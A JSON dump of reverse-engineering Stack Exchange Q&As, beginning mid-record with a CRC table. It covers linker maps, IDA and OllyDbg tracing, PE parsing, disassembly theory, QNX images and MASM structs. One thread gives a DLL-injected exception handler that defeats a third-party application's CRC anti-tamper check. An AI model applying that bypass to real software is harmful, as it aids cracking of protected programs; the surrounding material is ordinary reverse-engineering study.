0x83, 0x7d,\n    0x78, 0x86, 0x87, 0x79, 0x85, 0x7b, 0x7a, 0x84,\n    0x70, 0x8e, 0x8f, 0x71, 0x8d, 0x73, 0x72, 0x8c,\n    0x89, 0x77, 0x76, 0x88, 0x74, 0x8a, 0x8b, 0x75,\n    0x60, 0x9e, 0x9f, 0x61, 0x9d, 0x63, 0x62, 0x9c,\n    0x99, 0x67, 0x66, 0x98, 0x64, 0x9a, 0x9b, 0x65,\n    0x91, 0x6f, 0x6e, 0x90, 0x6c, 0x92, 0x93, 0x6d,\n    0x68, 0x96, 0x97, 0x69, 0x95, 0x6b, 0x6a, 0x94,\n    0x40, 0xbe, 0xbf, 0x41, 0xbd, 0x43, 0x42, 0xbc,\n    0xb9, 0x47, 0x46, 0xb8, 0x44, 0xba, 0xbb, 0x45,\n    0xb1, 0x4f, 0x4e, 0xb0, 0x4c, 0xb2, 0xb3, 0x4d,\n    0x48, 0xb6, 0xb7, 0x49, 0xb5, 0x4b, 0x4a, 0xb4,\n    0xa1, 0x5f, 0x5e, 0xa0, 0x5c, 0xa2, 0xa3, 0x5d,\n    0x58, 0xa6, 0xa7, 0x59, 0xa5, 0x5b, 0x5a, 0xa4,\n    0x50, 0xae, 0xaf, 0x51, 0xad, 0x53, 0x52, 0xac,\n    0xa9, 0x57, 0x56, 0xa8, 0x54, 0xaa, 0xab, 0x55\n};\n</code></pre>\n\n<p>And next we can calculate <code>b[7]</code>:</p>\n\n<pre><code>b[7] = ~crc[b[6] ^ crc[b[5] ^ crc[b[4] ^ crc[b[3] ^ crc[~b[2]]]]]]\n</code></pre>\n\n<p>To calculate the value of the last two check bytes (\"Data CRC\"):</p>\n\n<p>Perform a CRC-16 of the 6 bytes between the first check byte and the last two check bytes (in your first example, this would be the bytes <code>01 03 01 04 01 01</code>), with <code>0xFFFF</code> (<code>-1</code>) as the initial value for the CRC-16, and <code>0x8408</code> as the polynomial. Then bit-flip (a.k.a. \"not\", a.k.a. \"invert\") the result and read it in little-endian.</p>\n"
    },
    {
        "Id": "8306",
        "CreationDate": "2015-02-21T01:53:05.350",
        "Body": "<p>The test is on 32-bit Linux, x86. With <code>gcc</code> 4.6.3 and GNU <code>ld</code> 2.22.</p>\n\n<p>So I am trying to get the information of \"how many symbols are resolved by linker\" during link time? And how can I list the information of all the resolved symbols? say, the symbol name, memory address. </p>\n\n<p>I am thinking I should manipulate the linker to do so, but I have no idea how to do it. I have some experiences to fed linker with a link-script, but I didn't find anything related to resolved symbol information in the link-scripts..</p>\n\n<p>Could anyone give me some help? I really appreciate that! Thank you!</p>\n",
        "Title": "How to get the information of \"how many and which symbols are resolved by linker\"?",
        "Tags": "|c|elf|gcc|",
        "Answer": "<p>Information about symbols resolved at link time, including the symbol name and memory address, can be acquired by by executing <code>ld</code> with the <code>-M</code> option plus the name of the object file to be linked:</p>\n\n<pre><code>$ ld -M &lt;OBJECT FILE&gt;\n</code></pre>\n\n<p>This will result in a link map being printed to STDOUT. Of course, this output can also be redirected to a file:</p>\n\n<pre><code>$ ld -M &lt;OBJECT FILE&gt;  &gt;  &lt;OUTPUT FILE&gt;\n</code></pre>\n\n<p>The following description of the <code>-M</code> option is given in the <a href=\"http://man7.org/linux/man-pages/man1/ld.1.html\" rel=\"nofollow noreferrer\">manual page for ld(1)</a> as well as in <a href=\"https://sourceware.org/binutils/docs/ld/Options.html\" rel=\"nofollow noreferrer\">section 2.1 \"Command Line Options\"</a> in the <a href=\"https://sourceware.org/binutils/docs/ld/\" rel=\"nofollow noreferrer\">sourceware.org documentation of ld</a>: </p>\n\n<blockquote>\n  <p>-M</p>\n  \n  <p>--print-map</p>\n  \n  <p>Print a link map to the standard output. A link map provides information                      about the link, including the following:</p>\n  \n  <ul>\n  <li><p>Where object files are mapped into memory.</p></li>\n  <li><p>How common symbols are allocated.</p></li>\n  <li><p>All archive members included in the link, with a mention of the symbol which caused the archive member to be brought in.</p></li>\n  <li><p>The values assigned to symbols.</p>\n  \n  <p>Note - symbols whose values are computed by an expression which involves a reference to a previous value of the same symbol may not have correct result displayed in the link map. This is because the linker discards intermediate results and only retains the final value of an expression. Under such circumstances the linker will display the final value enclosed by square brackets. Thus for example a linker script containing:</p>\n\n<pre><code>                 foo = 1\n                 foo = foo * 4\n                 foo = foo + 8\n</code></pre></li>\n  </ul>\n  \n  <p>will produce the following output in the link map if the -M option is used:</p>\n\n<pre><code>                     0x00000001                foo = 0x1\n                     [0x0000000c]                foo = (foo * 0x4)\n                     [0x0000000c]                foo = (foo + 0x8)\n</code></pre>\n  \n  <p>See <a href=\"https://sourceware.org/binutils/docs/ld/Expressions.html#Expressions\" rel=\"nofollow noreferrer\">Expressions</a> for more information about expressions in linker scripts. </p>\n</blockquote>\n\n<p>Here is an example link map snippet for an i386 ELF32 object file:</p>\n\n<pre><code>&lt;&lt;= snip =&gt;&gt;\n\n.plt.got\n *(.plt.got)\n\n.text           0x0000000008048074        0xa\n *(.text.unlikely .text.*_unlikely .text.unlikely.*)\n *(.text.exit .text.exit.*)\n *(.text.startup .text.startup.*)\n *(.text.hot .text.hot.*)\n *(.text .stub .text.* .gnu.linkonce.t.*)\n .text          0x0000000008048074        0xa test.o\n                0x0000000008048074                main\n *(.gnu.warning)\n\n.fini\n *(SORT(.fini))\n                [!provide]                        PROVIDE (__etext, .)\n                [!provide]                        PROVIDE (_etext, .)\n                [!provide]                        PROVIDE (etext, .)    \n.rodata\n *(.rodata .rodata.* .gnu.linkonce.r.*)\n\n.rodata1\n *(.rodata1)\n\n.eh_frame_hdr\n *(.eh_frame_hdr)\n *(.eh_frame_entry .eh_frame_entry.*)\n\n.eh_frame       0x0000000008048080       0x38\n *(.eh_frame)\n .eh_frame      0x0000000008048080       0x38 test.o\n *(.eh_frame.*)\n\n&lt;&lt;= snip =&gt;&gt;\n</code></pre>\n\n<p>If this is insufficient for your purposes and would like to manipulate the linker with a custom script, section \"<a href=\"https://sourceware.org/binutils/docs/ld/Scripts.html#Scripts\" rel=\"nofollow noreferrer\">3: Linker Scripts</a>\" at sourceware.org may be helpful. Some documentation of the Link Editor Command Language can also be found on page 524 in the <a href=\"http://tenox.net/docs/attunixpc/ATT_UnixPC_Model_7300_Unix_System_V_Programmers_Guide.pdf\" rel=\"nofollow noreferrer\">AT&amp;T UNIX\u2122 PC Model 7300 Unix System V Programmers Guide</a>.</p>\n\n<p>More information can also be found in the <a href=\"https://sourceware.org/git/gitweb.cgi?p=binutils-gdb.git;a=blob;f=ld/ld.texinfo\" rel=\"nofollow noreferrer\">ld.texinfo</a> file which is part of the <a href=\"https://sourceware.org/git/gitweb.cgi?p=binutils-gdb.git;a=tree;f=ld\" rel=\"nofollow noreferrer\">source for <code>ld</code></a>. There is also a document called <a href=\"https://www.eecs.umich.edu/courses/eecs373/readings/Linker.pdf\" rel=\"nofollow noreferrer\">The GNU Linker</a>, which discusses linker scripts in 40 pages or so. </p>\n"
    },
    {
        "Id": "8314",
        "CreationDate": "2015-02-22T17:11:48.393",
        "Body": "<p>I'm reversing an application and I know for a fact it employs CRC checks, so if I modify the code, for instance hooking something, it'll be detected. The application uses a DLL which I replaced with my custom one and I'm trying to get around the CRC checks. The symptoms are, however, puzzling me. This is what happens if I modify the code and it gets detected:</p>\n\n<p><img src=\"https://i.stack.imgur.com/xBw4G.png\" alt=\"enter image description here\"></p>\n\n<p>However, it seems that the code at this address is just the start of some unrelated function:\n<img src=\"https://i.stack.imgur.com/Y5VRN.png\" alt=\"enter image description here\"></p>\n\n<p><br>\nI find that a bit puzzling; I expected something like\n<code>if (detected) RaiseException(EXCEPTION_SINGLE_STEP)</code>, and instead it simply \"crashes\" at the start of this function.</p>\n\n<ul>\n<li><strong>What does that mean?</strong></li>\n<li><strong>Am I right in thinking that what we see in the first screenshot implies RaiseException must be deliberately called somewhere in the code?</strong></li>\n</ul>\n",
        "Title": "Single step exception at the beginning of an unrelated function",
        "Tags": "|exception|crc|",
        "Answer": "<p>Okay, after a few more days I sort of have a solution.</p>\n\n<p>First off, I still have absolutely no idea what the code is doing to cause the exception - this is what the only call to the function looks like (and I've made sure this is how the code gets there - the return address is the same):</p>\n\n<p><img src=\"https://i.stack.imgur.com/K4lt8.png\" alt=\"enter image description here\"></p>\n\n<p>No RaiseException, the trap flag is not set - I have no ideas what this means. Regardless, I was able to discard the exception in this way:</p>\n\n<pre><code>LONG WINAPI VEH_Handler(struct _EXCEPTION_POINTERS *ExceptionInfo)\n{\n    printf(\"Got an exception %X at address %X\\n\", ExceptionInfo-&gt;ExceptionRecord-&gt;ExceptionCode, ExceptionInfo-&gt;ExceptionRecord-&gt;ExceptionAddress);\n\n    if (ExceptionInfo-&gt;ExceptionRecord-&gt;ExceptionCode == EXCEPTION_SINGLE_STEP)\n    {\n        printf(\"patching trap flag\\n\");\n\n        __asm PUSHF\n        __asm POP EAX\n        __asm AND EAX, 0xFEFF\n        __asm PUSH EAX\n        __asm POPF\n\n        return EXCEPTION_CONTINUE_EXECUTION;\n    }\n\n    return EXCEPTION_CONTINUE_SEARCH;\n}\n</code></pre>\n\n<p>It works, which I find somewhat amusing.</p>\n"
    },
    {
        "Id": "8320",
        "CreationDate": "2015-02-23T12:09:57.990",
        "Body": "<p>In a 3rd party application I'm modifying by means of DLL injection, there's a chunk of code that throws an EXCEPTION_SINGLE_STEP exception if it detects changes to the code. To bypass this countermeasure, I wish to catch that exception and discard it completely. However, Windows keeps rethrowing it and therefore my exception handler is stuck in an endless loop.</p>\n\n<p>My code currently:</p>\n\n<pre><code>LONG WINAPI VEH_Handler(struct _EXCEPTION_POINTERS *ExceptionInfo)\n{\n    printf(\"Got an exception %X at address %X\\n\", ExceptionInfo-&gt;ExceptionRecord-&gt;ExceptionCode, ExceptionInfo-&gt;ExceptionRecord-&gt;ExceptionAddress);\n\n    if (ExceptionInfo-&gt;ExceptionRecord-&gt;ExceptionCode == EXCEPTION_SINGLE_STEP)\n    {\n        return EXCEPTION_CONTINUE_EXECUTION;\n    }\n\n    return EXCEPTION_CONTINUE_SEARCH;\n}\n\n//...\n\n//in DllMain\nAddVectoredExceptionHandler(1, VEH_Handler);\n</code></pre>\n\n<p><strong>Is there a way for me to force Windows to forget about the exception and continue execution?</strong></p>\n",
        "Title": "Windows VEH - catch and discard a single step exception",
        "Tags": "|windows|exception|",
        "Answer": "<p>I assume this is a follow-up on <a href=\"https://reverseengineering.stackexchange.com/questions/8314/single-step-exception-at-the-beginning-of-an-unrelated-function\">this question</a>.</p>\n\n<p>If the program you're injecting the DLL into is setting the processor's trap flag, then returning from the exception will restore the trap flag as well, which would explain why the trap exception is thrown again and windows will keep calling your exception handler.</p>\n\n<p>You might check the stack, find where the pushed flags from the exception are saved, and clear the trap flag before returning (<code>*flagptr &amp;= ~0x100</code>).</p>\n\n<p>However, the fact that your application sets the trap flag in the first place might mean one of those two things:</p>\n\n<ul>\n<li>The application has detected that you're trying to crack it, and sets the trap flag to make it crash, or enter the debugger in an inconvenient way. It might do anything else to your program as well.</li>\n<li>The application installs a trap exception handler, sets the trap flag, and has the trap handler modify the code that's being executed (25 years ago, i've seen this in a dos application, where the trap handler decrypted instructions just before they got executed, and re-encrypted them immediately afterwards, so you never saw the real assembly in a whole, so that's hardly a new technique).</li>\n</ul>\n\n<p>Both possibilities probably mean that just ignoring the traps won't help you much; you should find the code that sets the trap flag, check why it's doing this, and continue your analysis from there.</p>\n"
    },
    {
        "Id": "8324",
        "CreationDate": "2015-02-23T19:45:34.207",
        "Body": "<p>I have breakpoint in function 'A', but 'A' can be called by functions 'B' and 'C'. When a breakpoint is hit, i'd like to know what called 'A' in the first place. Is there something like a function call stack?</p>\n\n<p>I have found 'debugger->tracing->stack trace' option, but when i press it after breakpoint is hit, it only shows this, which doesnt make any sense:\n<img src=\"https://i.stack.imgur.com/pHQbr.png\" alt=\"enter image description here\"></p>\n",
        "Title": "How to find which function called the one currently being executed in IDA?",
        "Tags": "|ida|",
        "Answer": "<p>Do a function tracing like this:</p>\n\n<ol>\n<li>set a breakpoint at the main function and at your target function</li>\n<li>start debugging</li>\n<li>when the process is halted: Go to Debugger->Tracing->Function Tracing</li>\n<li>continue Process</li>\n<li>once the process is halted again, go to Debugger->Tracing->Tracing Window and check for the info you need.</li>\n</ol>\n\n<p>If this does not give you the needed info try basic block or instruction tracing. This will work even if there is a problem with identifying functions / the stack frame ...</p>\n\n<p>More info on the tracing feature can be found here: <a href=\"https://www.hex-rays.com/products/ida/support/tutorials/tracing.pdf\" rel=\"noreferrer\">hex-rays tutorial on tracing</a></p>\n"
    },
    {
        "Id": "8328",
        "CreationDate": "2015-02-24T12:30:19.393",
        "Body": "<p>I'm interested in formal verification of software at binary code level. Obviously, the first step would be to recover the actual assembly instructions from binaries.</p>\n\n<p>IDAPro can do a pretty good job at disassembly of x86, however, it is still possible that some data can be interpreted as code. Therefore an analysis based on in it is still unsound.</p>\n\n<p>Given that: </p>\n\n<ul>\n<li>Software in my application domain is not obfuscated and not self-modifying,</li>\n<li>and ARM instructions are less variable than x86 (2 or 4 bytes length).</li>\n</ul>\n\n<p>Can the disassembly of ARM binaries be sound? In other words, can disassemblers recover the actual code precisely?</p>\n",
        "Title": "Soundness of ARM disassembly",
        "Tags": "|disassembly|arm|",
        "Answer": "<p>After some research I think that I can add some explanations from a theoretical perspective. Note that my discussion is restricted to stripped (no debug information) executables. We know that several kinds of data can be mixed with code in executables including padding bytes and <strong>switch</strong> jump address calculations. </p>\n\n<p>In order to separate date from code we need to <em>precisely</em> extract the bytes that belong to the code and by that we can assume that the rest of the bytes belong to data. The main challenge in <em>precisely</em> extracting code starting from a well-known entry point is indirect jumps i.e. control flow redirection to memory addresses that are computed at run-time. DarthZirka mentioned a few examples including switch tables, function pointers, and vtables in C++.</p>\n\n<p>An analysis that can precisely solve indirect jumps statically (without running the program) can also solve the halting problem which is known to be undecidable. This result has been established since late 70's when work on disassembly started to gain ground in Academia, I can refer to the following early paper for further details.</p>\n\n<blockquote>\n  <p>R.N. Horspool and N. Marovac. <strong>An approach to the problem\n  of detranslation of computer programs</strong>. The Computer\n  Journal, 23(3):223-229, 1979.</p>\n</blockquote>\n\n<p>Based on that, the problem of precisely determining addresses of indirect jumps is also undecidable in general. Therefore, <strong>any</strong> approach to disassembly shall be based on heuristics like recognizing common compiler idioms and/or over(under) approximating the set of addresses reachable from an indirect jump. The later is usually done by static analysis based on the framework of abstract interpretation. Variable size instructions in X86 can make things harder (a more loose overapproximation) compared to ARM but the essential problem still exists. </p>\n"
    },
    {
        "Id": "8350",
        "CreationDate": "2015-02-28T17:27:26.677",
        "Body": "<p>I was recently working with the <a href=\"https://msdn.microsoft.com/en-us/windows/hardware/gg463119.aspx\" rel=\"noreferrer\">Microsoft documentation about the PE and COFF specifications</a>.</p>\n\n<p>Chapter 5 shows several more or less \"soft\" indicators and characteristics to recognize what kind of stuff a section contains. However, the section characteristics flag is often the same for several different sections, and as I have read, the section name can be of arbitrary value, so it is not a big help too.</p>\n\n<p>Actually, I can only definitely recognize code sections by looking if the <code>IMAGE_SCN_MEM_EXECUTE</code> flag is set, as other sections should not have this flag set.</p>\n\n<p>But how could I, for example, recognize the resource directory? It only has <code>IMAGE_SCN_CNT_INITIALIZED_DATA</code> or <code>IMAGE_SCN_MEM_READ</code> set, and many other sections have the same flag.</p>\n\n<p>Do I have to evaluate with some made-up and typical section names (<code>RSRC</code> or <code>.rsrc</code> for this example)? It will mean that I may get tricked out by custom section names. Do I even have to try-and-error analyzation of section data to get a more definite result of what the section contains?</p>\n\n<p>Or is there a flag somewhere in the PE headers I skipped, helping me out in this case?</p>\n",
        "Title": "What is an indicator that a PE section definitely contains stuff of a specific type?",
        "Tags": "|windows|pe|file-format|executable|",
        "Answer": "<blockquote>\n  <p>I can only definitely recognize code sections by looking if the\n  <code>IMAGE_SCN_MEM_EXECUTE</code> flag is set, as other sections should not have\n  this flag set.</p>\n</blockquote>\n\n<p>The presence of this flag doesn't \"definitely\" mean that that section contains code, and the absence of this flag doesn't \"definitely\" mean that that section doesn't contain code:</p>\n\n<ul>\n<li>A PE file can have that flag on a non-code (data) section and still run fine (though this is not advisable from a security perspective).</li>\n<li>A PE file can have that flag missing from an actual code section, assuming that the operating system does not have <a href=\"http://en.wikipedia.org/wiki/Data_Execution_Prevention\">DEP</a> enabled and/or other code changes the memory protection of that section at runtime to make it executable.</li>\n</ul>\n\n<blockquote>\n  <p>But how could I, for example, recognize the resource directory?</p>\n</blockquote>\n\n<p>The only reliable way to find the resource directory is via the <code>IMAGE_DIRECTORY_ENTRY_RESOURCE</code> entry in the PE file's <a href=\"https://msdn.microsoft.com/en-us/library/windows/desktop/ms680305%28v=vs.85%29.aspx\"><code>IMAGE_DATA_DIRECTORY</code></a>.</p>\n"
    },
    {
        "Id": "8351",
        "CreationDate": "2015-02-28T10:03:42.770",
        "Body": "<p>I am reversing a file which is not running properly in Vmware.The code from the AEP is as shown below :</p>\n\n<pre><code>POP EDI     ; value of edi is 0x7C816D4F kernel32.7C816D4F\nPUSH EAX    ;value of eax is 0\nINC EBP     ;value of ebp was 0x12FFF0\nIN EAX,DX   ;value of DX is 0xEB94    \nAAS\nIN AL,0BF                      \nDEC ESP\n</code></pre>\n\n<p>What I think is that  a privileged instruction(IN) is called from user mode which is not allowed and therefore execution fails.\nIN is used for anti VM code but it requires specific values (VMXh port value in EAX etc) but in my case it is not being used.</p>\n\n<p>My question is ,is it some kind of anti debugging or is the file corrupt and will it run on a non VM machine(in my case XP).</p>\n\n<p>And lastly,if a packer uses the method I mentioned above ie calling IN from usermode for Anti-reversing how come the sample runs on a real machine(since in this case also the privileged instruction will be called in user mode).</p>\n",
        "Title": "Will this code run in real machine or is it some kind of Anti Reversing code?",
        "Tags": "|malware|debugging|x86|",
        "Answer": "<p>I think I got the answer from :\n<a href=\"https://stackoverflow.com/questions/89607/what-is-a-privileged-instruction\">https://stackoverflow.com/questions/89607/what-is-a-privileged-instruction</a></p>\n\n<p>Summary of the answers in that post :</p>\n\n<p>The cause is probably a corrupted stack or a messed up function pointer call ,this usually happens when using function pointers that point to invalid data. It can also happen if you have code that trashes your return stack or if you are using old compilers/libraries.</p>\n\n<p>The guy who programmed the exe  may be using a local array and it is near the top of the function declaration. His bounds checking may have gone insane and overwritten the return address and it points to some instruction that only kernel is allowed to execute.</p>\n"
    },
    {
        "Id": "8369",
        "CreationDate": "2015-03-03T15:28:23.607",
        "Body": "<p>I'm currently reversing a function which looks like the following</p>\n\n<pre><code>.text:0040383F 8D 04 BF          lea     eax, [edi+edi*4]\n.text:00403842 6A 14             push    20\n.text:00403844 C1 E0 03          shl     eax, 3\n.text:00403847 99                cdq\n.text:00403848 59                pop     ecx\n.text:00403849 F7 F9             idiv    ecx\n.text:0040384B 03 45 08          add     eax, [ebp+arg_0]\n.text:0040384E 8A 84 30 C8 31 00+mov     al, [eax+esi+31C8h]\n.text:00403855 32 C3             xor     al, bl\n.text:00403857 88 84 3E 28 27 00+mov     [esi+edi+2728h], al\n.text:0040385E 47                inc     edi\n.text:0040385F 81 FF 07 0B 00 00 cmp     edi, 0B07h\n.text:00403865 75 D8             jnz     short loc_40\n</code></pre>\n\n<p>Since I don't have any clue what's going there I wanted to Debug this part with OllyDbg. I want to understand what's inside <strong>al</strong>, <strong>bl</strong> and the result of <strong>xor al, bl</strong> for all \"<strong>0B07h</strong>\" steps the loop is running.</p>\n\n<p>I just saw that Immunity provides some sort of scripting functionality. Is it possible to achieve this with a simple python script in Immunity? Maybe there are other ways with OllyDbg?</p>\n\n<p>I just want something like:</p>\n\n<pre><code>If EIP == \"403855\" then print al, bl\nElse go_ahead\n</code></pre>\n",
        "Title": "How to efficiently debug Loops with OllyDbg/Immunity?",
        "Tags": "|ollydbg|debugging|immunity-debugger|xor|",
        "Answer": "<p>No scripting required.</p>\n\n<p>In OllyDbg's disassembly window, left-click on line <code>.text:00403855 32 C3             xor     al, bl</code> to select the line, then right-click on the selected line and choose <code>Breakpoint \u2192 Conditional log...</code>.</p>\n\n<p>In the breakpoint dialog box that opens up, use the following options:</p>\n\n<p><img src=\"https://i.stack.imgur.com/jRcz0.png\" alt=\"Conditional log\"></p>\n\n<p>Press <kbd>OK</kbd>, run the program, and every time <code>.text:00403855 32 C3             xor     al, bl</code> is executed, OllyDbg will print the values of <code>al</code> and <code>bl</code> to the log window.</p>\n"
    },
    {
        "Id": "8371",
        "CreationDate": "2015-03-03T17:01:31.150",
        "Body": "<p>I've been playing around with recording packets being sent to and from applications on my pc.</p>\n\n<p>Logically any program that sends or receives packets must have the encryption scheme used. So I'd like to try and find this in the code of a test application.</p>\n\n<p>Can anyone advise on how to go about doing this? I unsure as to how to identify what lines of code are being called when, and even if I new this I can know exactly when the packets are created exactly. Any link to helpful software, tutorials etc. would be great!</p>\n\n<p>P.S. First time asking on this site, let me know if/how I can improve the question.</p>\n",
        "Title": "How to locate the code used for encryption",
        "Tags": "|decompilation|decryption|",
        "Answer": "<p>This question is a bit broad, since it's not asking about a specific program, or a specific network packet you found. A better question would probably be \"I have a program that sends network packets, but dumping the packets with wireshark doesn't produce anything readable. I assume the application is encrypting the packets, how can i investigate this\"?</p>\n\n<p>You say \"Logically any program that sends or receives packets must have the encryption scheme used\". This isn't true - your Web browser, FTP client, and many other programs send everything unencrypted. Unless you're using https in your browser, of course, and there's a lot of documentation about how that works.</p>\n\n<p>So, let's assume you have a program, dump the network packets, and assume they're encrypted. So you'd like to know if there's any encryption code in your application. This is what <a href=\"http://aluigi.altervista.org/mytoolz.htm\" rel=\"nofollow\">signsrch</a> is for; it detects if your program contains any constants that are used in standard encryption schemes like AES.</p>\n\n<p>Next, you'll want a debugger like <a href=\"http://www.ollydbg.de/\" rel=\"nofollow\">Ollydbg</a>, or even <a href=\"https://www.hex-rays.com/products/ida/support/download_freeware.shtml\" rel=\"nofollow\">IDA Pro</a>, to further analyze the program. There are tons of tutorials out there that show how to use them. However, i won't recommend a specific one, since what is good for you depends very much on how much you know already - any recommendation would be very opinion-based, and we don't like opinion based answers on Stackexchange.</p>\n"
    },
    {
        "Id": "8372",
        "CreationDate": "2015-03-03T18:06:06.727",
        "Body": "<p>I am currently investigating firmware of an embedded system (car navigation) and have identified the OS as QNX.</p>\n<p>The firmware has .ifs files which I was able to extract/unpack using QNX <a href=\"http://www.qnx.com/developers/docs/660/index.jsp?topic=%2Fcom.qnx.doc.neutrino.user_guide%2Ftopic%2Ffiles_FILEEXTENSIONS.html\" rel=\"nofollow noreferrer\">dumpifs</a> tool and .img files. The .img files do not appear to be compressed, is there a file format or dump tool for QNX .img files?</p>\n<p>/edit: some extra information\nfile -sL file.img reports <code>x86 boot sector</code>\nMount attempt in Ubuntu <code>mount -t qnx6 ./file.img -o loop/dev/loop1,blocksize=512 /media/qnx</code> fails with wrong fs type, bad option, bad superblock on /dev/loop1</p>\n<p>dmesg reports <code>qnx4: wrong fsid in superblock</code> or <code>qnx6: invalid mount operation</code></p>\n<p><code>cat /proc/filesystems</code> reports both qnx4 and qnx6</p>\n",
        "Title": "Unpack QNX .img files",
        "Tags": "|qnx|",
        "Answer": "<p>Last time I worked with .img file it was image of qnx6 file system.\nI using linux with installed qnx6 drivers, so mount -t qnx6 works for me.</p>\n\n<p>In addition you can download QNX sample virtual machine from qnx.com/download/index.html ,run it, mount img using standard qnx command line tools and scp it outside.</p>\n"
    },
    {
        "Id": "8379",
        "CreationDate": "2015-03-04T13:01:10.817",
        "Body": "<p>I don't understand one thing in the export data directory of PE files.</p>\n<p>The documentation says that there is a set count of exports (let's name it <code>ExportCount</code>, first row of following table) and another count of names/ordinals (name it <code>NameCount</code>, second row in following table). I read it like that the count of export names is the same as the ordinal indices count. At least that's what <a href=\"https://docs.microsoft.com/en-us/windows/win32/debug/pe-format#export-directory-table\" rel=\"nofollow noreferrer\">their documentation</a> says:</p>\n<p><img src=\"https://i.stack.imgur.com/KcSxK.png\" alt=\"Microsoft Documentation\" /></p>\n<p>I tried parsing a Win8.1.1 x64 Shell32.dll, and I get different results compared to Dependency Walker. I have 933 as <code>ExportCount</code> and 354 as <code>NameCount</code>. So there should be 933 exports in total, with only 354 having an ordinal and/or name. Don't ask me how you would import the remaining 579 exports, as that's what I don't understand.</p>\n<p>If I open Shell32 in Dependency Walker, it first lists <code>NameCount</code> exports with a name and ordinal, but then it shows the remaining amount of <code>ExportCount - NameCount</code> exports which surprisingly <em>do</em> have ordinals (starting at the blue line here):</p>\n<p><img src=\"https://i.stack.imgur.com/rKVrl.png\" alt=\"Dependency Walker\" /></p>\n<p>To me, this doesn't make any sense according to the documentation. I tried to read <code>ExportCount</code> ordinals instead of only <code>NameCount</code> ones in sequence, but only rubbish comes out.</p>\n<p>So my questions are:</p>\n<ul>\n<li>Is the documentation wrong / incomplete?</li>\n<li>Am I understanding something wrong in the documentation?</li>\n<li>How to get the remaining ordinals like Dependency Walker does it?</li>\n</ul>\n",
        "Title": "Are there exports with neither ordinal nor name or am I not understanding the PE documentation?",
        "Tags": "|windows|pe|file-format|executable|",
        "Answer": "<p><em>This answer was originally added by me as an edit to my question, I have now separated it from there:</em></p>\n<p>Thanks to Guntrams accepted answer, I found out where my brain was faulty. This is how it really is:</p>\n<ul>\n<li>The ordinal of each exported address is simply the index in the export address array (plus the ordinal base specified in the export directory table however, which <em>may</em> make it differ from simple indices. And that is often the case since ordinals usually start at 1 according to the documentation).</li>\n<li>Some exports have names, and these names are mapped to the export address array with an ordinal, which in turn is the index to the export address array.</li>\n<li>Since some exports have no names, the ordinal is not explicitly specified in the ordinal array, because it would make no sense to map &quot;no name&quot; to an export.</li>\n</ul>\n<p>My C# code does it like this, for reference - the output is the same like the one in Dependency Walker:</p>\n<pre><code>private void ReadExportTables(\n    PEFile peFile,\n    BinaryReader reader,\n    DataDirectoryHeader header)\n{\n    // Read export address table which contains RVAs to exported code or forwarder names.\n    ExportEntry[] exportEntries = new ExportEntry[EntryCount];\n    reader.BaseStream.Seek(peFile.GetFileOffset(CodeAddressTableRva), SeekOrigin.Begin);\n    for (int i = 0; i &lt; exportEntries.Length; i++)\n    {\n        exportEntries[i].Ordinal = (ushort)(i + OrdinalStartNumber);\n        exportEntries[i].CodeOrForwarderRva = reader.ReadUInt32();\n    }\n\n    // Read ordinal table containing indices (with base) to named entries in export entry table.\n    reader.BaseStream.Seek(peFile.GetFileOffset(OrdinalTableRva), SeekOrigin.Begin);\n    uint[] ordinals = new uint[NameEntryCount];\n    for (int i = 0; i &lt; ordinals.Length; i++)\n    {\n        // Get name for ordinal, which has the same index as the ordinal array element.\n        ordinals[i] = reader.ReadUInt16();\n    }\n\n    // Read the export name pointer table which contains pointers to names of exports.\n    reader.BaseStream.Seek(peFile.GetFileOffset(NameAddressTableRva), SeekOrigin.Begin);\n    for (int i = 0; i &lt; ordinals.Length; i++)\n    {\n        exportEntries[ordinals[i]].Hint = i;\n        exportEntries[ordinals[i]].NameRva = reader.ReadUInt32();\n    }\n\n    // Read the names of the exports or forwarders.\n    for (int i = 0; i &lt; exportEntries.Length; i++)\n    {\n        if (exportEntries[i].NameRva &gt; 0)\n        {\n            reader.BaseStream.Seek(peFile.GetFileOffset(\n                exportEntries[i].NameRva),\n                SeekOrigin.Begin);\n            exportEntries[i].Name = reader.Read0AsciiString();\n        }\n        // Check if forwarder export (RVA points within export directory to forwarder name).\n        if (exportEntries[i].CodeOrForwarderRva &gt;= header.Rva\n            &amp;&amp; exportEntries[i].CodeOrForwarderRva &lt; header.Rva + header.Size)\n        {\n            reader.BaseStream.Seek(\n                peFile.GetFileOffset(exportEntries[i].CodeOrForwarderRva),\n                SeekOrigin.Begin);\n            exportEntries[i].ForwarderName = reader.Read0AsciiString();\n        }\n    }\n}\n</code></pre>\n<p>In case you wondered: There can still be completely empty exports, with a code address of 0, no name and thus not forwarded. Just sort these out when displaying your exports.</p>\n"
    },
    {
        "Id": "8382",
        "CreationDate": "2015-03-04T19:03:09.403",
        "Body": "<p>I'm trying to create a demo program demonstrating struct(s) in MASM ,</p>\n\n<p>I've written a code like this :</p>\n\n<pre><code>struct1 struct\nfirst db ?\nsecond dw ?\nstruct1 EndS\n\n.386\n.model flat,stdcall\noption casemap:none\n\ninclude \\masm32\\include\\windows.inc ; holds predifned structures\n\ninclude \\masm32\\include\\kernel32.inc \ninclude \\masm32\\include\\user32.inc\n\nincludelib \\masm32\\lib\\kernel32.lib\nincludelib \\masm32\\lib\\user32.lib\n\n.data\nMessageTitle  db \"The title\",0\nMessageText   db \"The first program which shows simple messagebox\",0\n\n\n.code\nstart:\n\nInitializedstructure struct1 &lt;'A',1024&gt;\n;invoke MessageBox, NULL, addr MessageText, addr MessageTitle, MB_OK\nmov eax, struct1.first \n;invoke ExitProcess, NULL\nend start\n</code></pre>\n\n<p>but when I disassembled the program I found some kind of instructions that\n not sensible for initializing the structure of the program :</p>\n\n<pre><code>.text:00401000 start:\n.text:00401000                 inc     ecx\n.text:00401001                 add     [eax+edi*4], al\n.text:00401001 ; ---------------------------------------------------------------------------\n.text:00401004                 dd 7Fh dup(0)\n.text:00401200                 dd 380h dup(?)\n.text:00401200 _text           ends\n</code></pre>\n\n<p>Why MASM assembled the code like this ? I think I've made some mistake in the code,haven't I? I think there's no well-explained document about it ...</p>\n",
        "Title": "Initializing a struct in win32 assembly programming using MASM",
        "Tags": "|windows|disassemblers|struct|",
